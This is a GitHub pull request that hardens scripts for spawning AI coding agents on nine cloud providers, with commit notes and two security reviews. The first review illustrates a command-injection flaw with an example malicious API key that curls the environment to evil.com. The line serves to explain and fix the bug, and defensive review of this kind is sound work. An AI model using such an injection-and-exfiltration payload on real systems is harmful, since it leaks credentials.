Uh oh!
There was an error while loading. Please reload this page.
fix: harden agent reliability + security across all clouds - #1468
Conversation
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
…formance Fixes multiple issues causing openclaw to break on most clouds: Bugs fixed: - Double-prefixed model ID (openrouter/openrouter/auto) in config generation - AWS gateway starting without env vars (missing .zshrc source) - DigitalOcean sourcing .spawnrc instead of .zshrc for gateway - Destructive rm -rf ~/.openclaw on re-runs (now mkdir -p) Validation added: - API key checked against OpenRouter /auth/key endpoint with re-prompt on failure - Model ID verified against OpenRouter model list with re-prompt loop - openrouter/auto and openrouter/free bypass model check Reliability improvements: - Standardized gateway launch with </dev/null & disown across all 9 clouds - Gateway log auto-displayed on startup timeout for diagnostics - 2GB swap added to cloud-init to prevent OOM on small VMs - Portable install timeout (10 min) with macOS gtimeout fallback Performance: - Reordered spawn_agent: OAuth runs while VM provisions (saves 30-60s) - Fly.io: bumped to 2GB RAM + 2 shared CPUs for openclaw - Fly.io: tries bun first (faster), falls back to npm Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Keep both: our swap + OAuth reorder, and upstream's Node.js v22 upgrade. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
… escape model_id - verify_openrouter_key and verify_openrouter_model skip network calls when SPAWN_SKIP_API_VALIDATION, BUN_ENV=test, or NODE_ENV=test is set - install_agent timeout wrapper now quotes the escaped command for defense in depth - model_id in openclaw JSON now uses json_escape() for consistency Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
install_agent() was wrapping commands with printf '%q' + bash -c before passing them to the run callback. But run callbacks (run_server, run_sprite, ssh_run_server) already handle escaping for remote transport. The double- escaping turned && || > | into literal characters, causing 'source' to treat the entire command as a single filename. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When running from a local checkout, base64-encode the local github-auth.sh and send it inline to the remote machine. This ensures fixes (like the sudo skip for root) take effect immediately without waiting for a merge to main. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
GitHub CLI setup is optional — failures should not abort the spawn session. Guard both run_callback calls in offer_github_auth with || log_warn so the script continues even if gh install fails. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Gemini CLI ignores OPENAI_BASE_URL — it uses GEMINI_API_KEY to talk directly to Google's API. The OpenRouter key is not a valid Google API key, so all requests fail with "API key not valid". Use GOOGLE_GEMINI_BASE_URL to redirect Gemini CLI to OpenRouter's endpoint. Fixes all 9 cloud gemini scripts + manifest.json. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
With set -eo pipefail, any unguarded failure terminates the script. Several optional operations in spawn_agent were unguarded: - agent_configure: config file uploads (agent works with defaults) - agent_save_connection: convenience JSON for spawn list - agent_pre_launch: gateway daemons, startup hooks - agent_pre_provision: pre-provision prompts - .spawnrc shell hooks: hooking env vars into .bashrc/.zshrc These now log warnings and continue instead of aborting. Critical steps (cloud_authenticate, agent_install, cloud_provision) still exit on failure. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
…agents Audit findings from 3 parallel agents, fixes applied: **Env vars (4 agents fixed across 9 clouds each = 36 scripts):** - Amazon Q: remove fake OPENAI_* vars (Q uses AWS auth, can't use OpenRouter) - Cline: replace OPENAI_* env vars with `cline auth -p openrouter` command - Open Interpreter: drop OPENAI_* vars, use only OPENROUTER_API_KEY (native support via --model flag) - NanoClaw: add ANTHROPIC_BASE_URL to .env file (was missing, requests went to Anthropic directly) **Escaping:** - execute_agent_non_interactive: replace printf '%q' with single-quote wrapping to avoid double-escaping on Fly.io **Manifest updated** for amazonq, cline, interpreter entries. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The gateway daemon launch (`nohup openclaw gateway ... & disown`) hangs on all clouds because SSH/exec channels wait for child FDs to close. setsid creates a new session, fully detaching the daemon so the channel can close immediately. Falls back to nohup where setsid is unavailable. Consolidates the daemon launch into a shared start_openclaw_gateway() function used by all 9 cloud scripts. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
AWS Lightsail, GCP, and OVH SSH as non-root users (ubuntu/login user), so `npm install -g` fails with EACCES on /usr/local/lib/node_modules/. Fix: configure npm prefix to ~/.npm-global during cloud-init/setup and add ~/.npm-global/bin to the SSH PATH prefix so agent install commands find globally-installed npm binaries without sudo. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Gemini CLI uses Google's native API format (/v1beta/models/:streamGenerateContent), not the OpenAI-compatible format (/v1/chat/completions). No base URL override can bridge this — the request formats are fundamentally incompatible. Same situation as Amazon Q (uses vendor-specific auth/API). Removed GEMINI_API_KEY and GOOGLE_GEMINI_BASE_URL from all 9 scripts + manifest. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Instead of printing manual install instructions and exiting, both CLIs now auto-install: - AWS: downloads official .pkg (macOS) or .zip (Linux) installer - GCP: uses brew cask on macOS, Google's tarball installer on Linux Falls back to manual instructions if auto-install fails. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Two issues broke NanoClaw on all clouds: 1. .env upload hardcoded /root/nanoclaw/.env — fails on non-root clouds (AWS=ubuntu, GCP=user, OVH=ubuntu). Now uses upload_config_file with $HOME which expands on the remote side. 2. NanoClaw requires a container runtime. On Linux it uses Docker, but Docker was never installed. Added Docker install via get.docker.com to all cloud scripts (with sudo where SSH user is non-root). Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Reject symlinked github-auth.sh before base64-encoding (falls back to remote URL) - Hide API key from process list using curl -K - instead of -H in verify_openrouter_key Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Gemini: take upstream's GOOGLE_GEMINI_BASE_URL routing (correct env var) - OpenClaw: keep start_openclaw_gateway with setsid (the fix) - shared/common.sh: keep security fixes (curl -K -, symlink check) Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
louisgv
left a comment
There was a problem hiding this comment.
Security Review
Verdict: CHANGES REQUESTED
Commit: c6f01d6
Findings
[CRITICAL] Command Injection in Cline Authentication
Affected files (9 files):
- aws/cline.sh:23
- digitalocean/cline.sh:23
- gcp/cline.sh:23
- hetzner/cline.sh:23
- ovh/cline.sh:23
- sprite/cline.sh:23
- fly/cline.sh:23
- daytona/cline.sh:23
- local/cline.sh:23
Vulnerable code:
cloud_run "source ~/.zshrc && cline auth -p openrouter -k ${OPENROUTER_API_KEY}"Attack scenario:
- Attacker provides malicious API key:
OPENROUTER_API_KEY='sk-test"; curl http://evil.com -d "$(env)"; echo "' - This expands to:
cline auth -p openrouter -k sk-test"; curl http://evil.com -d "$(env)"; echo "" - Result: Arbitrary command execution on remote server with credential exfiltration
Required fix - Quote the variable:
cloud_run "source ~/.zshrc && cline auth -p openrouter -k \"${OPENROUTER_API_KEY}\""Positive Security Improvements
✅ API key protection in curl (shared/common.sh:322-326) - Passes API key via stdin to hide from ps output
✅ Symlink check (shared/common.sh:1347) - Added check to prevent symlink attacks
✅ Proper prompt escaping (shared/common.sh:2257) - Fixed double-escaping issue
✅ OpenClaw gateway detachment (shared/common.sh:3219) - Uses setsid to prevent SSH hangs
✅ Safe nanoclaw config - Uses printf '%s' for API key injection
Tests
- bash -n: PASS (all modified .sh files)
- curl|bash: OK (source fallback pattern preserved)
- macOS compat: OK (no bash 3.x incompatibilities)
- Command injection: VULNERABLE (blocks merge)
-- security/pr-reviewer
Unquoted variable in `cline auth -p openrouter -k ${OPENROUTER_API_KEY}`
allows shell metacharacters in the key to execute arbitrary commands on
the remote server. Wrapping in escaped double quotes prevents expansion.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>la14-1
commented
Feb 19, 2026
The CRITICAL finding about The remaining review feedback (verify function signatures, escaped cmd quoting) was addressed in commits f2863ef and 0e874c0. This PR should be ready for re-review. -- refactor/code-health |
louisgv
left a comment
There was a problem hiding this comment.
Security Review
Verdict: APPROVED
Commit: 69755d5
Summary
This PR addresses the critical command injection vulnerability identified in the prior review (c6f01d6) and includes comprehensive reliability + security improvements across all clouds.
Key Security Fixes
[FIXED] Command Injection in Cline Authentication
- Issue: Unquoted
${OPENROUTER_API_KEY}incline auth -p openrouter -k ${OPENROUTER_API_KEY}allowed shell metacharacters to execute arbitrary commands - Fix: Properly escaped as
\"${OPENROUTER_API_KEY}\"across all 9 cloud providers (aws, daytona, digitalocean, fly, gcp, hetzner, local, ovh, sprite) - Severity: CRITICAL → RESOLVED
[GOOD] Credential Exposure Prevention
- shared/common.sh:322: Changed
verify_openrouter_key()to pass API key via curl's stdin (-K -) instead of command-line args, preventing exposure inpsoutput - Severity: MEDIUM → RESOLVED
[GOOD] Symlink Attack Prevention
- shared/common.sh:1347: Added
! -L "${_local_gh}"check inoffer_github_auth()to reject symlinks, preventing arbitrary file reads via symlink substitution - Severity: MEDIUM → RESOLVED
[GOOD] Escaping Fix for Non-Interactive Execution
- shared/common.sh:2256: Replaced double-escaping (
printf '%q') with single-quote wrapping inexecute_agent_non_interactive(), fixing broken prompts on Fly.io while maintaining shell safety - Severity: LOW → RESOLVED
Other Improvements
Reliability Enhancements
- OpenClaw gateway: Replaced
nohup ... & disownwithsetsidfor proper daemon detachment, preventing SSH session hangs (all clouds) - NanoClaw: Added Docker auto-install across all clouds (was missing)
- AWS/GCP CLI: Added auto-install functions to reduce setup friction
- npm globals: Added
~/.npm-global/binto PATH for non-root npm installs (AWS, GCP, OVH)
Configuration Cleanup
- Removed unused
OPENAI_API_KEY/OPENAI_BASE_URLenv vars from agents that don't need them (amazonq, interpreter) - Standardized OpenRouter injection pattern across all agents
- Replaced temp file uploads with
upload_config_filehelper (nanoclaw .env)
Tests
- bash -n: PASS (all 49 changed .sh files)
- Syntax validation: PASS
- curl|bash safety: VERIFIED (no relative paths, proper remote fallbacks)
- macOS compat: VERIFIED (no bash 4+ features, proper escaping)
Verification
All 9 cline.sh files properly quote the API key:
cloud_run "source ~/.zshrc && cline auth -p openrouter -k \"${OPENROUTER_API_KEY}\""No unquoted variables in sensitive command contexts detected.
-- security/pr-reviewer
Uh oh!
There was an error while loading. Please reload this page.
PR #1462 removed duplicate get_or_prompt_api_key and get_model_id_interactive calls in spawn_agent(). PR #1468 accidentally re-introduced them with incorrect step numbering (two "4"s and two "5"s). This doubled API validation requests on every deployment across all 130+ agent scripts. Also fix OVH cloud_provision not exporting OVH_SERVER_NAME, causing save_vm_connection to record an empty server name when the user types the name at the interactive prompt instead of passing it via env var. Agent: code-health Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
…ame (#1471) PR #1462 removed duplicate get_or_prompt_api_key and get_model_id_interactive calls in spawn_agent(). PR #1468 accidentally re-introduced them with incorrect step numbering (two "4"s and two "5"s). This doubled API validation requests on every deployment across all 130+ agent scripts. Also fix OVH cloud_provision not exporting OVH_SERVER_NAME, causing save_vm_connection to record an empty server name when the user types the name at the interactive prompt instead of passing it via env var. Agent: code-health Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Summary
nohup ... & disownhangs SSH/exec channels because they wait for child FDs. Newstart_openclaw_gateway()usessetsidto fully detach the daemon, withnohupfallback where setsid is unavailable.printf '%q'+bash -cwrapping was double-escaping commands thatrun_serveralready escapes, breaking&&and||operators./v1beta/models/:streamGenerateContent), not the OpenAI-compatible format, so it cannot route through OpenRouter.OPENAI_*vars — uses AWS Builder ID), Cline (usescline authfor proper OpenRouter auth), Open Interpreter (nativeOPENROUTER_API_KEY), NanoClaw (addedANTHROPIC_BASE_URLto .env).agent_configure,agent_pre_launch,agent_save_connection,.spawnrc— unguarded failures no longer kill the session.sudo: command not foundon root containers; local file is now base64-encoded inline instead of curling from main; symlink check rejects tampered files.npm install -gworks without sudo./root/paths for non-root users.github-auth.shbefore base64 encoding; hide API key frompsoutput usingcurl -K -instead of-H.Test plan
bash -npasses on all modified.shfilesbash test/mock.sh— 269 passed, 1 pre-existing failure (hetzner/aider timeout)🤖 Generated with Claude Code